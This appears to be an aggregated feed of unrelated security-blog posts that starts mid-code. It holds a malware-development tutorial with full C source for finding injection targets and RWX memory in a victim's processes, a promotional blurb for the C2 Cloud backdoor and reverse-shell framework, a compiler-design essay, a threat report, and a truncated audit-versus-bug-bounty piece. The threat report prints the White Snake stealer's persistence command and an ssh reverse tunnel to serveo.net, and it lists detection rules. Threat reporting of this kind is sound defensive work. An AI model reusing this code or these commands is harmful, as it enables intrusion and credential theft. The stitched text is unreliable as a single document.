      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}

Just convert process id int to UNICODE STRING and concat, then try to find section logic.

Here, NtOpenSection API use for opens a handle for an existing section object:

typedef NTSTATUS (NTAPI * fNtOpenSection)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

So, the full source code for this logic (finding .NET processes in the victim’s system) looks like this:

/*
 * hack2.c - hunting RWX memory
 * detect .NET process
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}



int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo 2

Let’s go to see second example in action. Compile it:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then just run it. Check on powershell.exe:

.\hack2.exe powershell.exe

malware

Now, second practical example worked as expected! Great! =^..^=

practical example 3

Ok, so what about previous question?

How we can check if the victim process is really OneDrive.exe process? It’s just in case, for example.

Let’s check OneDrive.exe process properties via Process Hacker 2:

malware

As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe process. I just want to show that you can examine any process and try to find some indicators in the section names.

So, I updated my function again and full source code of my third example (hack3.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char *procname) {
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      // check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;

      WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
      sName.Buffer = (PWSTR)objPath;
      sName.Length = wcslen(objPath) * sizeof(WCHAR);
      sName.MaximumLength = sName.Length + sizeof(WCHAR);

      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }
  return current;
}

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

As you can see, the logic is simple: check section name and try to open it.

demo 3

Let’s go to see third example in action. Compile it:

x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then, run it on the victim’s machine:

.\hack3.exe OneDrive.exe

malware

As you can see, everything is worked perfectly again!

If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t look well, it seems to me that this is a technique already known to attackers.

I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.

Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives

2 May 2024 at 12:07

Business Wire 03/25/2024

Horizon3.ai, a leading provider of autonomous security solutions, today announced the appointment of Matt Hartley as Chief Revenue Officer (CRO), effective immediately.Hartley brings over 20 years of sales and operations excellence with a proven track record of building go-to-market (GTM) teams that achieve rapid scale and predictability…

Read the entire article here

The post Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives appeared first on Horizon3.ai.

C2-Cloud - The C2 Cloud Is A Robust Web-Based C2 Framework, Designed To Simplify The Life Of Penetration Testers


The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.

C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.

Reverse shells support:

  1. Reverse TCP
  2. Reverse HTTP
  3. Reverse HTTPS (configure it behind an LB)
  4. Telegram C2

Demo

C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
Telegram C2: https://youtu.be/WLQtF4hbCKk

Key Features

🔒 Anywhere Access: Reach the C2 Cloud from any location.
🔄 Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
🖱️ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
📜 Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.

Tech Stack

🛠️ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
🔗 TCP Socket: Serving reverse TCP requests for enhanced functionality.
🌐 Nginx: Effortlessly routing traffic between web and backend systems.
📨 Redis PubSub: Serving as a robust message broker for seamless communication.
🚀 Websockets: Delivering real-time updates to browser clients for enhanced user experience.
💾 Postgres DB: Ensuring persistent storage for seamless continuity.

Architecture

Application setup

  • Management port: 9000
  • Reversse HTTP port: 8000
  • Reverse TCP port: 8888

  • Clone the repo

  • Optional: Update chait_id, bot_token in c2-telegram/config.yml
  • Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.

Credits

Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.

License

Distributed under the MIT License. See LICENSE for more information.

Contact



The life and times of an Abstract Syntax Tree

2 May 2024 at 13:00

By Francesco Bertolaccini

You’ve reached computer programming nirvana. Your journey has led you down many paths, including believing that God wrote the universe in LISP, but now the truth is clear in your mind: every problem can be solved by writing one more compiler.

It’s true. Even our soon-to-be artificially intelligent overlords are nothing but compilers, just as the legends foretold. That smart contract you’ve been writing for your revolutionary DeFi platform? It’s going through a compiler at some point.

Now that we’ve established that every program should contain at least one compiler if it doesn’t already, let’s talk about how one should go about writing one. As it turns out, this is a pretty vast topic, and it’s unlikely I’d be able to fit a thorough disquisition on the subject in the margin of this blog post. Instead, I’m going to concentrate on the topic of Abstract Syntax Trees (ASTs).

In the past, I’ve worked on a decompiler that turns LLVM bitcode into Clang ASTs, and that has made me into someone with opinions about them. These are opinions on the things they don’t teach you in school, like: what should the API for an AST look like? And how should it be laid out in memory? When designing a component from scratch, we must consider those aspects that go beyond its mere functionality—I guess you could call these aspects “pragmatics.” Let’s go over a few of them so that if you ever find yourself working with ASTs in the future, you may skip the more head-scratching bits and go straight to solving more cogent problems!

What are ASTs?

On their own, ASTs are not a very interesting part of a compiler. They are mostly there to translate the dreadful stream of characters we receive as input into a more palatable format for further compiler shenanigans. Yet the way ASTs are designed can make a difference when working on a compiler. Let’s investigate how.

Managing the unmanageable

If you’re working in a managed language like C# or Java, one with a garbage collector and a very OOP type system, your AST nodes are most likely going to look something like this:

class Expr {}
class IntConstant : Expr {
    int value;
}
class BinExpr : Expr {
    public Expr lhs;
    public Expr rhs;
}

This is fine—it serves the purpose well, and the model is clear: since all of the memory is managed by the runtime, ownership of the nodes is not really that important. At the end of the day, those nodes are not going anywhere until everyone is done with them and the GC determines that they are no longer reachable.

(As an aside, I’ll be making these kinds of examples throughout the post; they are not meant to be compilable, only to provide the general idea of what I’m talking about.)

I typically don’t use C# or Java when working on compilers, though. I’m a C++ troglodyte, meaning I like keeping my footguns cocked and loaded at all times: since there is no garbage collector around to clean up after the mess I leave behind, I need to think deeply about who owns each and every one of those nodes.

Let’s try and mimic what was happening in the managed case.

The naive approach

struct Expr {
    virtual ~Expr();
};
struct IntConstant : Expr {
    int value;
};
struct BinExpr : Expr {
    std::shared_ptr lhs;
    std::shared_ptr rhs;
};

Shared pointers in C++ use reference counting (which one could argue is a form of automatic garbage collection), which means that the end result is similar to what we had in Java and C#: each node is guaranteed to stay valid at least until the last object holding a reference to it is alive.

That at least in the previous sentence is key: if this was an Abstract Syntax Graph instead of an Abstract Syntax Tree, we’d quickly find ourselves in a situation where nodes would get stuck in a limbo of life detached from material reality, a series of nodes pointing at each other in a circle, forever waiting for someone else to die before they can finally find their eternal rest as well.

Again, this is a purely academic possibility since a tree is by definition acyclic, but it’s still something to keep in mind.

I don’t know Rust that well, but it is my understanding that a layout roughly equivalent to the one above would be written like this:

enum Expr {
    IntConstant(i32),
    BinExpr(Arc<Expr>, Arc<Expr>)
}

When using this representation, your compiler will typically hold a reference to a root node that causes the whole pyramid of nodes to keep standing. Once that reference is gone, the rest of the nodes follow suit.

Unfortunately, each pointer introduces additional computation and memory consumption due to its usage of an atomic reference counter. Technically, one could avoid the “atomic” part in the Rust example by using Rc instead of Arc, but there’s no equivalent of that in C++ and my example would not work as well. In my experience, it’s quite easy to do away with the ceremony of making each node hold a reference count altogether, and instead decide on a more disciplined approach to ownership.

The “reverse pyramid” approach

struct Expr {
    virtual ~Expr();
};
struct IntConstant : Expr {
    int value;
};
struct BinExpr : Expr {
    std::unique_ptr lhs;
    std::unique_ptr rhs;
};

Using unique pointers frees us from the responsibility of keeping track of when to free memory without adding the overhead of reference counting. While it’s not possible for multiple nodes to have an owning reference to the same node, it’s still possible to express cyclic data structures by dereferencing the unique pointer and storing a reference instead. This is (very) roughly equivalent to using std::weak_ptr with shared pointers.

Just like in the naive approach, destroying the root node of the AST will cause all of the other nodes to be destroyed with it. The difference is that in this case we are guaranteed that this will happen, because every child node is owned by their parent and no other owning reference is possible.

I believe this representation is roughly equivalent to this Rust snippet:

enum Expr {
    IntConstant(i32),
    BinExpr(Box<Expr>, Box<Expr>)
}

Excursus: improving the API

We are getting pretty close to what I’d call the ideal representation, but one thing I like to do is to make my data structures as immutable as possible.

BinExpr would probably look like this if I were to implement it in an actual codebase:

class BinExpr : Expr {
    std::unique_ptr lhs, rhs;
public:
    BinExpr(std::unique_ptr lhs, std::unique_ptr rhs)
        : lhs(std::move(lhs))
        , rhs(std::move(rhs)) {}   
    const Expr& get_lhs() const { return *lhs; }
    const Expr& get_rhs() const { return *rhs; }
};

This to me signals a few things:

  • Nodes are immutable.
  • Nodes can’t be null.
  • Nodes can’t be moved; their owner is fixed.

Removing the safeguards

The next step is to see how we can improve things by removing some of the safeguards that we’ve used so far, without completely shooting ourselves in the foot. I will not provide snippets on how to implement these approaches in Rust because last time I asked how to do that in my company’s Slack channel, the responses I received were something like “don’t” and “why would you do that?” and “someone please call security.” It should not have been a surprise, as an AST is basically a linked list with extra steps, and Rust hates linked lists.

Up until now, the general idea has been that nodes own other nodes. This makes it quite easy to handle the AST safely because the nodes are self-contained.

What if we decided to transfer the ownership of the nodes to some other entity? It is, after all, quite reasonable to have some sort of ASTContext object we can assume to handle the lifetime of our nodes, similar to what happens in Clang.

Let’s start by changing the appearance of our Expr nodes:

struct BinExpr : Expr {
    const Expr& lhs;
    const Expr& rhs;
};

Now we create a storage for all of our nodes:

vector<unique_ptr> node_storage;
auto &lhs = node_storage.emplace_back(make_unique(...));
auto &rhs = node_storage.emplace_back(make_unique(...));
auto &binexp = node_storage.emplace_back(make_unique(*lhs, *rhs));

Nice! node_storage is now the owner of all the nodes, and we can iterate over them without having to do a tree visit. In fact, go watch this talk about the design of the Carbon compiler, about 37 minutes in: if you keep your pattern of creating nodes predictable, you end up with a storage container that’s already sorted in, e.g., post-visit order!

Variants on a theme

Let’s now borrow a trick from Rust’s book: the Expr class I’ve been using up until this point is an old-school case of polymorphism via inheritance. While I do believe inheritance has its place and in many cases should be the preferred solution, I do think that ASTs are one of the places where discriminated unions are the way to go.

Rust calls discriminated unions enum, whereas C++17 calls them std::variant. While the substance is the same, the ergonomics are not: Rust has first class support for them in its syntax, whereas C++ makes its users do template metaprogramming tricks in order to use them, even though they do not necessarily realize it.

The one feature I’m most interested in for going with variant instead of inheritance is that it turns our AST objects into “value types,” allowing us to store Expr objects directly instead of having to go through an indirection via a reference or pointer. This will be important in a moment.

The other feature that this model unlocks is that we get the Visitor pattern implemented for free, and we can figure out exactly what kind of node a certain value is holding without having to invent our own dynamic type casting system. Looking at you, LLVM. And Clang. And MLIR.

Going off the rails

Let’s take a look back at an example I made earlier:

vector<unique_ptr> node_storage;
auto &lhs = node_storage.emplace_back(make_unique(...));
auto &rhs = node_storage.emplace_back(make_unique(...));
auto &binexp = node_storage.emplace_back(make_unique(*lhs, *rhs));

There’s one thing that bothers me about this: double indirection, and noncontiguous memory allocation. Think of what the memory layout for this storage mechanism looks like: the vector will have a contiguous chunk of memory allocated for storing pointers to all of the nodes, then each pointer will have an associated chunk of memory the size of a node which, as mentioned earlier, varies for each kind of node.

What this means is that our nodes, even if allocated sequentially, have the potential to end up scattered all over the place. They say early optimization is the root of all evil, but for the sake of exhausting all of the tricks I have up my sleeve, I’ll go ahead and show a way to avoid this.

Let’s start by doing what I said I’d do earlier, and use variant for our nodes:

struct IntConstant;
struct BinExpr;
using Expr = std::variant<IntConstant, BinExpr>;


struct IntConstant {
    int value;
};
struct BinExpr  {
    Expr &lhs;
    Expr &rhs;
};

Now that each and every node has the same size, we can finally store them contiguously in memory:

std::vector node_storage;
node_storage.reserve(max_num_nodes);
auto &lhs = node_storage.emplace_back(IntConstant{3});
auto &rhs = node_storage.emplace_back(IntConstant{4});
auto &binexp = node_storage.emplace_back(BinExpr{lhs, rhs});

You see that node_storage.reserve call? That’s not an optimization—that is an absolutely load-bearing part of this mechanism.

I want to make it absolutely clear that what’s happening here is the kind of thing C++ gets hate for. This is a proverbial gun that, should you choose to use it, will be strapped at your hip pointed at your foot, fully loaded and ready to blow your leg off if at any point you forget it’s there.

The reason we’re using reserve in this case is that we want to make sure that all of the memory we will potentially use for storing our nodes is allocated ahead of time, so that when we use emplace_back to place a node inside of it, we are guaranteed that that chunk of memory will not get reallocated and change address. (If that were to happen, any of our nodes that contain references to other nodes would end up pointing to garbage, and demons would start flying out of your nose.)

Using vector and reserve is of course not the only way to do this: using an std::array is also valid if the maximum number of nodes you are going to use is known at compile time.

Ah yes, max_num_nodes. How do you compute what that is going to be? There’s no single good answer to this question, but you can find decent heuristics for it. For example, let’s say you are parsing C: the smallest statement I can think of would probably look something like a;, or even more extremely, just a. We can deduce that, if we want to be extremely safe, we could allocate storage for a number of nodes equal to the amount of characters in the source code we’re parsing. Considering that most programs will not be anywhere close to this level of pathological behavior, it’s reasonable to expect that most of that memory will be wasted. Unfortunately, we can’t easily reclaim that wasted memory with a simple call to shrink_to_fit, as that can cause a reallocation.

The technique you can use in that case, or in the case where you absolutely cannot avoid allocating additional memory, is to actually do a deep clone of the AST, visiting each node and painstakingly creating a new counterpart for it in the new container.

One thing to keep in mind, when storing your AST nodes like this, is that the size of each node will now be equal to the size of the largest representable node. I don’t think that this matters that much, since you should try and keep all of your nodes as small as possible anyway, but it’s still worth thinking about.

Of course, it might be the case that you don’t actually need to extract the last drop of performance and memory efficiency out of your AST, and you may be willing to trade some of those in exchange for some ease of use. I can think of three ways of achieving this:

  1. Use std::list.
  2. Use std::deque.
  3. Use indices instead of raw pointers.

Let’s go through each of these options one at a time.

Use std::list instead of std::vector

Don’t. ‘Nuff said.

Alright, fine. I’ll elaborate.

Linked lists were fine in the time when the “random access” part of RAM was not a lie yet and memory access patterns didn’t matter. Using a linked list for storing your nodes is just undoing all of the effort we’ve gone through to optimize our layout.

Use std::deque instead of std::vector

This method is already better! Since we’ll mostly just append nodes to the end of our node storage container, and since a double-ended queue guarantees that doing so is possible without invalidating the addresses of any existing contents, this looks like a very good compromise.

Unfortunately the memory layout won’t be completely contiguous anymore, but you may not care about that. If you are using Microsoft’s STL, though, you have even bigger issues ahead of you.

Use indices instead of raw pointers

The idea is that instead of storing the pointer of a child node, you store the index of that node inside of the vector. This adds a layer of indirection back into the picture, and you now also have to figure out what vector does this index refer to? Do you store a reference to the vector inside each node? That’s a bit of a waste. Do you store it globally? That’s a bit icky, if you ask me.

Parting thoughts

I’ve already written a lot and I’ve barely scratched the surface of the kind of decisions a designer will have to make when writing a compiler. I’ve talked about how you could store your AST in memory, but I’ve said nothing about what you want to store in your AST.

The overarching theme in this exhilarating overview is that there’s a lot about compilers that goes beyond parsing, and all of the abstract ideas needed to build a compiler need concretizing at some point, and the details on how you go about doing that matter. I also feel obligated to mention two maxims one should keep in mind when playing this sort of game: premature optimization is the root of all evil, and always profile your code—it’s likely that your codebase contains lower-hanging fruit you can pick before deciding to fine-tune your AST storage.

It’s interesting that most of the techniques I’ve shown in this article are not easily accessible with managed languages. Does this mean that all of this doesn’t really matter, or do compilers written in those languages (I’m thinking of, e.g., Roslyn) leave performance on the table? If so, what’s the significance of that performance?

Finally, I wanted this post to start a discussion about the internals of compilers and compiler-like tools: what do these often highly complex pieces of software hide beneath their surface? It’s easy to find material about the general ideas regarding compilation—tokenization, parsing, register allocation—but less so about the clever ideas people come up with when writing programs that need to deal with huge codebases in a fast and memory-efficient manner. If anyone has war stories to share, I want to hear them!

Scaly Wolf’s new loader: the right tool for the wrong job

By: BI.ZONE
2 May 2024 at 13:48

The BI.ZONE Threat Intelligence team has uncovered a fresh campaign by the group targeting Russian and Belarusian organizations

Key findings

  1. The cluster’s methods evolve continuously with new tools added to its arsenal.
  2. The use of password-protected archives enables the criminals to bypass defenses and deliver malware successfully.
  3. With phishing emails sent out on behalf of government agencies, the victim is much more likely to interact with the malicious attachments.

Campaign

The threat actors are distributing phishing emails under the guise of a federal agency. The emails have a legitimate document as an attachment. It aims to lull the recipient’s vigilance and prompt them to open the other file, a password-protected archive.

Phishing email
Legitimate attachment

The files in the archive:

  • Пароль 120917.txt, an empty file whose name contains the password to the archive
  • Права и обязанности и процедура ст. 164, 170, 183 УПК РФ.rtf (the rights, obligations, and procedure under the Criminal Procedure Code of the Russian Federation), another legitimate document serving as a decoy
  • Матералы к запросу, обязательно к ознакомлению и предоставлению информации-.exe (inquiry materials that require some action), an executable with malicious payload

The executable file is a loader, in2al5d p3in4er (Invalid Printer). After a successful anti-virtualization check, the loader injects the malicious payload into the address space of the explorer.exe process.

The check performed with the dxgi.dll library enables the loader to retrieve the IDs of the manufacturers of the graphics cards used in the system. Where such IDs do not match those of Nvidia, AMD, or Intel, the malicious file would stop running.

The loader is distinguished by not using WinAPI calls to access the Windows kernel. Instead, the kernel functions are called directly through jumps to the syscall instruction with the required arguments.

The arguments for kernel calls are passed through the following registers: R10, RDX, R8, R9. The RAX register is used to store the number of the initiated system call. In this case, the number 0x0036 corresponds to the system call NtQuerySystemInformation.

It is noteworthy that during the execution the loader would attempt to open multiple random files non-existent in the system and write random data into them. While such behavior does not affect the execution, this may help to detect the malicious activity in the system.

In order to identify the explorer.exe process, the loader enumerates the structures of the launched processes searching for the matching checksum. After identifying the required process, the loader allocates a memory region within this process with execution rights and copies the decrypted malicious payload into it. Finally, it modifies the process context to execute the injected shell code.

The payload is the shell code obtained with the help of the open-source Donut utility, which allows executable files (including .NET) to run in the memory. The utility has some additional features such as compression and encryption of malicious payload.

In the case under review, the malicious payload executed by this loader is the White Snake stealer, version 1.6.1.9. This is the latest version of the stealer published at the end of March 2024. It does not verify whether the victim is located in Russia or other CIS countries.

Stealer update announcement

In August 2023, the official White Snake channel published a post related to our investigation. The post informed that one of the customers had modified the malware and removed the AntiCIS module.

Post in the White Snake channel

We believe that with this statement the developers merely wanted to avoid getting blocked on popular underground resources.

When started, White Snake performs the following actions:

  • creates and checks the mutex specified in the configuration
  • (where such option is available) runs anti-virtualization checks: retrieves the device model and manufacturer and compares them with the program lines
    For this purpose, the following WMI requests are used:
    SELECT * FROM Win32_ComputerSystem – Model
    SELECT * FROM Win32_ComputerSystem – Manufacturer
  • (where such option is available) moves the current executable file to the directory as specified in the configuration (that is, C:\Users\[user]\AppData\Local\RobloxSecurity) and runs a command to add a task to the scheduler; then terminates the execution and self-runs from a new location:
"C:\Windows\System32\cmd.exe" /C chcp 65001 &&
timeout /t 3 > NUL &&
schtasks /create /tn "Explorer" /sc MINUTE /tr "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE" /rl HIGHEST /f &&
DEL /F /S /Q /A "C:\Windows\Explorer.EXE" &&
START "" "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE"

Interestingly, the legitimate explorer.exe would be copied without the injected shell code in this particular case.

White Snake can also use the serveo[.]net service. This option enables OpenSSH to be downloaded via the link to the GitHub repository (https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip) and launched with the following command:

ssh -o "StrictHostKeyChecking=no" -R [connection port]:[local address]:[local port] serveo.net

The latest versions have an updated list of resources to transmit the data harvested by the stealer:

Indicators of compromise

  • 93948C7FB89059E1F63AF04FEEF0A0834B65B18FFAF6610B419ADBC0E271E23D
  • CBABD91FB0C1C83867F71E8DF19C131AC6FB3B3F3F74765BC24924CB9D51AD41
  • 10330FCC378DB73346501B2A26D2C749F51CACD962B54C62AA017DD9C1ED77C3

MITRE ATT&CK

More indicators of compromise and a detailed description of threat actor tactics, techniques, and procedures are available on the BI.ZONE Threat Intelligence platform.

Detecting such malicious activity

The BI.ZONE EDR rules below can help organizations detect the described malicious activity:

  • win_suspicious_code_injection_to_system_process
  • win_process_like_system_process_detected
  • win_creation_task_that_run_file_from_suspicious_folder
  • win_using_popular_utilities_for_port_forwarding
  • win_possible_browser_stealer_activity
  • win_access_to_windows_password_storage
  • win_dump_sensitive_registry_hives_locally
  • win_credentials_registry_hive_file_creation
  • win_query_stored_credentials_from_registry

We would also recommend that you monitor suspicious activity related to:

  • running executable files with long names resembling document names
  • multiple opening of files, including non-existent files
  • running suspicious WMI commands
  • scheduled tasks with atypical executables and system files in unusual directories
  • OpenSSH downloads from GitHub
  • network communications with serveo[.]net
  • reading the files in browser folders with credentials
  • reading the registry keys with sensitive data

How to protect your company from such threats

Scaly Werewolf’s methods of gaining persistence on endpoints are hard to detect with preventive security solutions. Therefore we recommend that companies enhance their cybersecurity with endpoint detection and response practices, for instance, with the help of BI.ZONE EDR.

To stay ahead of threat actors, you need to be aware of the methods used in attacks against different infrastructures and to understand the threat landscape. For this purpose, we would recommend that you leverage the data from the BI.ZONE Threat Intelligence platform. The solution provides information about current attacks, threat actors, their methods and tools. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect from the most critical threats to the company.

Product Security Audits vs. Bug Bounty

1 May 2024 at 22:00

Every so often we see people discussing whether they still need to have product security audits (commonly referred to as pentests) because they have a bug bounty program. While the answer to this seems clear to us, it nonetheless is a recurring topic of discussion, particularly in the information security corners of social media. We’ve decided to publish our thoughts on this topic to clarify it for those who might still be unsure.

Product security audit team versus crowd-based security

Defining the approaches

Product Security Audit

What we refer to as a product security audit is a time-bound project, where one or more engineers focus on a particular application exclusively. The testing is performed by employees of an application security firm. This work is usually scoped ahead of time and billed at flat hourly/daily rates, with the total cost known to the client prior to commencing.

These can be white box (i.e., access to source code and documentation) or black box (i.e., no source code access, with or without documentation), or somewhere in the middle. There is usually a well-defined scope and often preliminary discussions on points of interest to investigate more closely than others. Frequently, there will also be a walkthrough of the application’s functionality. More often than not, the testing takes place in a predefined set of days and hours. This is typically when the client is available to respond to questions, react in the event of potential issues (e.g., a site going down) or possibly to avoid peak traffic times.

Because of the trust that clients have in professional firms, they will often permit them direct access to their infrastructure and code - something that is generally never done in a bug bounty program. This empowers the testers to find bugs that are potentially very difficult to find externally and things that may be out of scope for dynamic tests, such as denial-of-service vulnerabilities. Additionally, with this approach, it’s common to discover one vulnerability, only to then quickly discover it’s a systemic issue specifically because of the access to the code. With this access, it is also much easier to identify things like vulnerable dependencies, often buried deep in the application.

Once the testing is complete, the provider will usually supply a written report and may have a wrap-up call with the client. There may also be a follow-up (retest) to ensure a client’s attempts at remediation have been successful.

Bug Bounty Programs

What is most commonly referred to as a bug bounty program is typically an open-ended, ongoing effort where the testing is performed by the general public. Some companies may limit participation to a smaller group, permitting participation on whatever criteria they wish, with past performance in other programs being a commonly used factor.

